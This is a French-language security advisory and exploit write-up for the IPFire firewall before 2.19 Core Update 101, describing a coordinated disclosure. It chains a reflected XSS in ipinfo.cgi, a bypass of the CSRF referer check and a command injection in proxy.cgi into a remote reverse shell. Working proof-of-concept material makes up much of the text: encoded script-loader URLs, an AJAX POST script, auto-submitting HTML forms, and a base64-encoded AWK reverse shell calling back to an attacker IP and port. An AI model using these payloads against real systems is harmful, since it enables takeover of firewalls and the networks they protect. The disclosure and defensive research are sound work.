IPFire < 2.19 Core Update 101 souffrent de vulnérabilités permettant l’exécution de commande (RCE – reverse-shell) et Cross-Site Scripting (XSS).
Après quelques mois (années?) sans analyser de distributions Linux faisant offices de routeurs/firewalls complets au même titre que pfSense, m0n0wall, IPCop, SmoothWall ou encore ZeroShell, j’ai souhaité tester plus en profondeur le fork d’IPCop, à savoir IPFire.
IPFire dispose de deux branches principales, la 2.17 et 2.19 (la version 3 étant encore en beta). IPFire est un fork de longue date d’IPCop, et de plus des appliances sont proposées équipées de cette distribution d’une grande qualité.
IPFire permet d’instaurer une zone démilitarisée, servir de serveur DNS, DHCP, NTP, proxy, le tout avec une forte consonante sécurité. A l’origine, cette distribution est un fork du projet IPCop, lui même un fork de Smoothwall. Toutefois, depuis la nouvelle branche 2.X d’IPCop, les projets se sont développés indépendamment.
IPFire est destiné à protéger les petites infrastructures des particuliers ou des PME. Il peut fonctionner avec une configuration matérielle légère et exploite le principe des réseaux colorés pour son architecture de sécurité fonctionnelle :
- 1 réseau rouge, relié à l’Internet (WAN)
- 1 réseau vert relié au réseau local (LAN)
- 1 réseau orange, associé à la DMZ
- 1 réseau bleu pour les composants Wifi (WLAN)
IPFire se configure par WebGUI accessible en HTTPS (scripts Perl/CGI sur le port 444) ou via un terminal SSH. La dernière version en date est du 02 mai 2016 (corrigeant les présentes vulnérabilités), à savoir la 2.19 Core Update 101. Cet article est à présent diffusé suite à la validation des corrections à partir de cette version.
Pour faire suite aux diverses analyses de telles solutions de firewall/routeur, je me suis attardé sur la solution d’IPFire afin d’en décortiquer un peu le fonctionnement. Peu de vulnérabilités concernant IPFire déjà décelées, j’ai souhaité creuser cette distribution pour comprendre ce qui la faisait aussi robuste.
Et bien celle-ci s’avère très robuste et vraiment complète au passage, il m’a toutefois été possible d’exploiter une de ses faiblesses de manière un peu tordue afin d’obtenir un reverse-shell complet à distance.
Analyse de la solution
Mon intérêt s’est porté sur le code de l’interface WebGUI, entièrement écrit en Perl/CGI. Ces interfaces sont généralement les vecteurs de corruptions d’un système. Bien que je n’ai pas effectué un pentest complet de la solution, certains vecteurs d’attaques ont été décelés me permettant d’appuyer mes propos.
Remarque générale sur la WebGUI
La WebGUI se composent d’une multitude de scripts Perl/CGI. Pour s’y connecter, IPFire est en écoute sur un port HTTPS, le 444.
L’authentification se fait par un système Basic Auth avec le compte « admin » (le compte root n’étant exploitable que via SSH).
Un mécanisme pour prémunir la solution d’attaques CSRF est présent. IPFire vérifie sur toutes ses pages la présence de l’en-tête HTTPS « Referrer ». Si cet en-tête n’est pas présent ou bien n’est pas défini à l’URL d’IPFire lui-même, alors la page se charge mais aucun paramètre POST n’est traité.
L’interface WebGUI effectue plusieurs appels à des fonctions system() en Perl pour appliquer sa configuration sur la distribution, ainsi qu’à l’exécution de commandes par backtick `my cmd`. La plupart des appels à la fonction system() sont correctement sécurisés. Cette fonction accepte 1 à N argument(s). Le premier étant obligatoire, et les N suivants étant des paramètres de la commande à exécuter. Lorsqu’un paramètre d’une telle commande est variable, celui-ci ne doit pas figurer dans la chaîne du premier argument, mais bien parmi ceux qui suivent. En effet, les arguments qui suivent le premier sont traités automatiquement pour éviter des injections ou des enchaînements de commande :
system('/usr/bin/touch $x'); // RCE exploitable if $x == 'x && cat /etc/passwd'; system('/usr/bin/touch', $x); // injection auto-protected
IPFire gère convenablement ce principe dans tout son code source, à part pour de rares exceptions, notamment celle qui a permis l’exploitation…
XSS non-persistente en GET
Le fichier /srv/web/ipfire/cgi-bin/ipinfo.cgi permet d’exécuter un whois sur une IP arbitraire au travers de la WebGUI. La valeur passée est vérifiée avant d’être testée. Toutefois, celle-ci est ré-affichée dans la page. Cet affichage est produit par la ligne 87 :
&Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);
A noter que le code de ce fichier, en particulier l’instruction vulnérable ci-dessus est héritée d’IPCop dont IPFire est un fork. Lors de ma soumission des vulnérabilités IPCop en 2014, cette brèche avait été comblée, mais il ne semble pas que IPFire est repris cette correction.
Les données ne sont pas suffisamment nettoyées. En effet, lorsqu’on transmet un vecteur canonique d’XSS tel que :
<script>alert('XSS_by_Yann_CAM')</script>
La seule protection appliquée est l’URLEncode natif du navigateur client utilisé. Autrement dit, cette injection n’est pas fonctionnelle sur Chrome ou Firefox, mais l’est sur IE :
PoC :
https://<IPFire>:444/cgi-bin/ipinfo.cgi?<script>alert(/RXSS-Yann_CAM_-_Security_Consultant_@ASafety_-_SYNETIS/)</script>
Bypass de la protection CSRF via le referer
Comme énoncé en amont, IPFire (tout comme IPCop) est protégé contre les attaques CSRF en vérifiant la page de provenance (referer) de chacune de ses requêtes. Ainsi, il n’est pas possible d’automatiser une CSRF directe, qui remplierait/enverrait un formulaire précis dans IPFire à l’insu de l’administrateur légitime.
Toutefois, il a été décelé une vulnérabilité de type XSS GET non-persistante. Et celle-ci bien que pouvant paraître anodine et inutile, va être d’un grand secours.
L’idée est d’utiliser l’XSS GET pour injecter du code Javascript dans IPFire. Comme IPFire bloque uniquement les données POST si le referer n’est pas valide et que nos injections XSS transitent par données GET, alors notre code JS s’exécute bien dans IPFire (cf paragraphe précédent). Ainsi, pour réaliser une requête POST avec un referer valide dans IPFire, il est nécessaire de suivre ces étapes :
- Exploitation de la vulnérabilité XSS pour injecter du code JS qui va charger un fichier.js annexe dans le contexte d’IPFire
- Ce fichier.js externe va pouvoir effectuer toutes requêtes GET/POST (via AJAX et JQuery) sur IPFire, dans le contexte du firewall, donc avec un referer valide.
- Il sera alors possible de simuler une CSRF par l’intermédiaire d’une XSS GET simple.
Pour prouver mes dires, voici un exemple de scénario possible. Le pentester défini un script JS sur un serveur web qui lui appartient, accessible par IPFire : https://<PENTESTER_WEBSITE>/x.js, où x.js peut être :
var headx=document.getElementsByTagName('head')[0]; var jq= document.createElement('script'); jq.type= 'text/javascript'; jq.src= 'http://code.jquery.com/jquery-latest.min.js'; headx.appendChild(jq); function loadX(){ // AJAX CSRF bypass referer checking ! $.ajax({ type: 'POST', url: "https://<IPFire_IP>:444/cgi-bin/<TARGETED_PAGE>", contentType: 'application/x-www-form-urlencoded;charset=utf-8', dataType: 'text', data: '<YOUR_DATA>' }); // payload of your choice } setTimeout("loadX()",2000);
Ce code JavaScript qui sera exécuté dans le contexte d’IPFire réalise les opérations suivantes :
- Chargement de la bibliothèque JQuery à la volée dans le DOM
- Déclaration d’une fonction JS qui exploite l’objet $ajax de JQuery pour réaliser une requête POST arbitraire dans le contexte d’IPFire.
- Délai de 2 secondes avant l’exécution de la fonction Ajax POST, afin de s’assurer que le chargement dynamique de JQuery dans le DOM a bien été réalisé.
Maintenant, il suffit d’exploiter l’XSS GET présentée précédemment pour charger ce fichier http://<PENTESTER_WEBSITE>/x.js directement dans le contexte d’IPFire. Ce chargement de fichier s’effectue par les instructions suivantes :
var head=document.getElementsByTagName('head')[0];var script= document.createElement('script');script.type= 'text/javascript';script.src= 'http://<PENTESTER_WEBSITE>/x.js';head.appendChild(script);
Seulement IPFire nettoie (sanitize) certains caractères, tels que les points-virgules (;). Ainsi, il est nécessaire d’échapper via la fonction escape() de Javascript l’ensemble de cette chaîne, pour que l’injection fonctionne (utiliser ce convertisseur) :
%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09
Enfin, après avoir encodée l’injection, on génère la syntaxe finale de l’XSS GET pour que ce vecteur soit décodé (unescape()) à la volée et interprété (eval()) dans le contexte de la page IPFire :
https://<IPFire_IP>:8443/cgi-bin/ipinfo.cgi?<script>eval(unescape("%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09"))</script>
Je rappelle que ces vecteurs sont uniquement compatibles IE dû à l’URLEncode natif des autres navigateur, cf premier paragraphe.
Le fichier x.js arbitraire chargé à la volée via XSS va donc nous permettre d’exécuter tout type de requête (GET/POST) vers n’importe quelle page d’IPFire, et ce, dans le contexte d’IPFire donc avec un referer valide.
Remote Command Execution
Le fichier /srv/web/ipfire/cgi-bin/proxy.cgi est vulnérable à une injection arbitraire de commande shell. En effet, la ligne 4137 utilise la syntaxe de la fonction system() pour exécuter une commande shell en concaténant des données variables directement dans la commande :
system("/usr/sbin/htpasswd -b $userdb $str_user $str_pass");
La variable $str_pass est transmise par données POST à la page (donc dans un contexte avec un referer valide), et celle-ci n’est pas nettoyée. Il est ainsi possible de modifier cette variable pour chaîner des commandes shell au sein de l’instruction perl vulnérable. Le nom des variables POST permettant de définir cette variable $str_pass sont « NCSA_PASS » et « NCSA_PASS_CONFIRM » (qui se doivent d’être de valeur identique).
Pour chaîner des commandes shell, les délimiteurs « && », « ; » ou « || » sont généralement utilisés dans les environnements Unix. Toutefois, dans le cas d’IPFire, les caractères « && » et « ; » ne sont pas pris en compte dans les injections, ils ne sont donc pas utilisables. La seule alternative est le « OU LOGIQUE » via « || ». Pour qu’une commande qui suit ce « || » soit exécutée, il faut que la commande qui le précède retourne « faux » (ou logique séquentiel). Ainsi le binaire /usr/sbin/htpasswd doit retourner un code d’erreur. Ceci peut se faire en exécutant simplement le binaire sans préciser de mot de passe. L’injection suivante en découle :
/usr/sbin/htpasswd -b $userdb $str_user || arbitrarily command
Ainsi, le PoC suivant est fonctionnel pour créer un fichier « x » dans /tmp ; si bien sur le referer est valide :
<html> <body> <form name='x' action='https://<IPFire_IP>:444/cgi-bin/proxy.cgi' method='post'> <input type='hidden' name='NCSA_PASS' value='||touch /tmp/x;#' /> <input type='hidden' name='NCSA_PASS_CONFIRM' value='||touch /tmp/x;#' /> <input type='hidden' name='NCSA_USERNAME' value='yanncam' /> <input type='hidden' name='ACTION' value='Ajouter' /> </form> <script>document.forms['x'].submit();</script> </body> </html>
Note : La valeur du champ « ACTION » doit être définie en fonction de la langue courante d’IPFire paramétrée. Dans cet exemple, IPFire est configuré en français.
D’une XSS vers une CSRF pour obtenir finalement un RCE (reverse-shell complet)
Suite à la présentation succincte des trois techniques ci-dessus (XSS GET, bypass CSRF protection et finalement RCE), voyons en détail un PoC complet qui permet d’obtenir un reverse-shell interactif sur IPFire. Pour l’obtention d’un tel shell, l’utilisation combinée des vulnérabilités précédentes est nécessaire.
Le scénario général
- Exploiter l’XSS GET pour charger un script JS à la volée dans le contexte IPFire
- Exécuter une requête POST Ajax dans le contexte d’IPFire par le script JS précédemment importé.
- Cette requête POST Ajax sera à destination de la page vulnérable à une exécution de commande arbitraire. Elle sera valide avec un referer défini dans le contexte.
- La commande arbitraire envoyée permettra l’obtention d’un reverse-shell sur le système.
Notes préliminaires
IPFire, dans sa dernière version, est une distribution relativement allégée. Ainsi, peu d’outils/binaires sont présents pour permettre de récupérer un reverse-shell. IPFire ne dispose pas de netcat, socat, telnet, php, python ou même ruby. Par contre, Perl est présent ainsi que l’utilitaire AWK d’Unix. Ces deux outils permettent aisément de récupérer un shell sur a machine. Je vous renvoi au reverse-shell cheat sheet d’ASafety pour une liste complète des techniques one-line.
Dans le cadre de ce PoC, la technique employée exploite AWK, dont une version one-line a été développée par ASafety :
awk 'BEGIN {s = '/inet/tcp/0/<IP>/<PORT>'; while(42) { do{ printf 'shell>' |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != 'exit') close(s); }}' /dev/null
L’exécution de cette commande dans un terminal Unix, avec un netcat (nc -l -vv -p <PORT>) sur la machine <IP> du pentester, permet de récupérer un shell interactif complet sur le système.
Conception du payload
A la lecture de cet article, vous aurez compris que certains caractères ne sont pas pris en compte lors d’injections par la WebGUI d’IPFire. Comme c’est le cas pour les points-virgules (;). Ainsi, il est nécessaire d’encoder ce payload AWK en base64 (après avoir remplacé <IP> et <PORT> bien entendu, ce qui n’est pas fait dans la suite) :
YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsgfX0nIC9kZXYvbnVsbA==
L’idée va être d’envoyer ce payload encodé en base64 à IPFire, et d’utiliser les outils shell internes d’IPFire pour le décoder et l’interpréter à la volée. Pour décoder cette chaîne en base64, IPFire dispose de l’outil binaire « openssl ». Il sera ainsi possible de décoder du base64 via la commande :
echo '<BASE64>' | openssl enc -a -d
Seulement cette commande « openssl » n’accepte que des valeurs base64 en entrée qui soient scindées par paquet de 64 caractères. Ainsi, tous les 64 caractères, ajouter un « \n » dans notre payload précédent :
YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==
Ce payload est maintenant pleinement encodé et dé-codable à la volée :
echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d
Ce n’est pas tout de pouvoir le décoder, il faut aussi pouvoir l’interpréter. Pour cela, l’ajout de backtick et de la commande « eval » suffit :
eval echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl
Finalement, au regard de la syntaxe de l’injection RCE dans le fichier proxy.cgi, notre command arbitraire pour les données POST « NCSA_PASS » et « NCSA_PASS_CONFIRM » seront :
||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#
PoC HTML (nécessite un referer valide)
Ce PoC suivant nécessite un referer valide, la langue d’IPFire en français (champ « ACTION ») et un netcat en écoute sur <IP> et <PORT> (payload non modifié) :
<html> <body> <form name='x' action='https://<IPFire_IP>:444/cgi-bin/proxy.cgi' method='post'> <input type='hidden' name='NCSA_PASS' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg\nd2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp\nbmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw\nIHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp\nOyB9fScgL2Rldi9udWxs" | openssl enc -a -d`;#' /> <input type='hidden' name='NCSA_PASS_CONFIRM' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg\nd2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp\nbmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw\nIHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp\nOyB9fScgL2Rldi9udWxs" | openssl enc -a -d`;#' /> <input type='hidden' name='NCSA_USERNAME' value='yanncam' /> <input type='hidden' name='ACTION' value='Ajouter' /> </form> <script>document.forms['x'].submit();</script> </body> </html>
Si le referer est valide, ce PoC est fonctionnel sur n’importe quel navigateur (testé sur Firefox avec TamperData).
PoC XSS to bypass CSRF protection to RCE to Reverse-shell
Le PoC final, cumulant toutes les techniques précédentes :
Le fichier JS du pentester
var headx=document.getElementsByTagName('head')[0]; var jq= document.createElement('script'); jq.type= 'text/javascript'; jq.src= 'http://code.jquery.com/jquery-latest.min.js'; headx.appendChild(jq); function loadX(){ // AJAX CSRF bypass referer checking ! $.ajax({ type: 'POST', url: "https://<IPFire_IP>:444/cgi-bin/proxy.cgi", contentType: 'application/x-www-form-urlencoded;charset=utf-8', dataType: 'text', data: 'NCSA_USERNAME=yanncam&ACTION=Ajouter&NCSA_PASS=||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjEuMzIvMTMzNyI7\nIHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRs\naW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAk\nMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShz\nKTsgfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#&NCSA_PASS_CONFIRM=||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjEuMzIvMTMzNyI7\nIHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRs\naW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAk\nMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShz\nKTsgfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#' }); } setTimeout("loadX()",2000);
Remarques :
- Injection testée fonctionnelle sur IE
- Changer l’IP d’IPFire dans le fichier JS
- Changer le payload POST « NCSA_PASS » et « NCSA_PASS_CONFIRM » avec celui généré qui contient la bonne <IP>/<PORT> du pentester
- Changer la valeur du champ « ACTION » avec celui de la langue définie dans IPFire.
L’URL XSS GET IE chargeant ce fichier JS
Cette URL est la même que la précédente :
https://<IPFire_IP>:8443/cgi-bin/ipinfo.cgi?<script>eval(unescape("%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09"))</script>
Vidéo PoC de démonstration
La vidéo suivante illustre l’ensemble de ces techniques. Elle présente :
- L’exécution d’une alert() JavaScript canonique (XSS) sous IE
- L’automatisation et le referer bypass via Internet Explorer pour obtenir un reverse-shell
Note : La vidéo illustre les vulnérabilités sur la dernière version de la branche 2.17 d’IPFire (Core Update 99), toutefois elles sont pleinement fonctionnelles jusqu’à la version de la branche 2.19 Core Update 100 incluse.
Conclusion et notes de fin
L’équipe en charge du développement de la solution IPFire a été alertée le 03 avril 2016 avec tous les exemples, PoC et vidéo de démonstration. Un ticket de sécurité a été créé, privé, permettant d’échanger sur l’exploitation des vulnérabilités et les meilleures méthodes de correction à mettre en oeuvre.
Très rapidement (dans les 2 jours qui ont suivi), des mesures correctives ont été mises en place. Je tiens d’ailleurs à saluer Michael TREMER pour son amabilité, son intérêt et sa rapidité d’exécution ! 🙂
Le 06 avril 2016, Michael TREMER à soumis une « CVE request » pour ces faiblesses de sécurité, qui n’a pas été validée. Suite à une seconde tentative refusée le 08 avril 2016, il a été décidé de pousser les correctifs vers une prochaine release.
Le 27 avril 2016, une version corrigée IPFire 2.19 Core Update 101 est disponible aux tests, et le 02 mai 2016 la release est disponible !
IPFire s’avère être une solution de qualité, et vraiment robuste. Certes les techniques précédentes permettent d’obtenir un reverse-shell sur la distribution, mais l’application de cet exploit peut s’avérer complexe à mettre en oeuvre. Bien qu’héritant d’un code de longue date issu d’IPCop, IPFire se modernise, se sécurise de jour en jour et c’est un projet communautaire d’une grande réactivité et qualité.
Cet article présente l’importance qu’une simple XSS non-persistante en variable GET peut avoir dans le cycle de vie d’un exploit. Il ne faut pas sous-estimer les simples XSS de la sorte, au vue de leur utilisation par un framework tel que BeEF ou cumulées avec d’autres techniques comme dans ce présent article.
Je tiens également à préciser que l’ensemble de la solution IPFire n’a pas été pleinement analysée, faute de temps. Il est possible (probable) que d’autres points d’entrées pour diverses injections perdurent.
Sources & ressources
- IPFire.org
- IPFire 2.19 Core Update 101 released
- IPFire 2.19 Core Update 101 available for testing
- IPFire 2.19 Core Update 101 Patches Cross-Site-Scripting Vulnerability in Web UI – UbuntuFree
- IPFire 2.19 Core Update 101 Patches Cross-Site-Scripting Vulnerability in Web UI – SoftPedia
- CVE Request – OpenWall
- CVE Request – SecLists
- Demonstration video
- IPFire BugTracker ticket
- Exploit-DB advisory
- PacketStorm Security advisory
- 0day Today advisory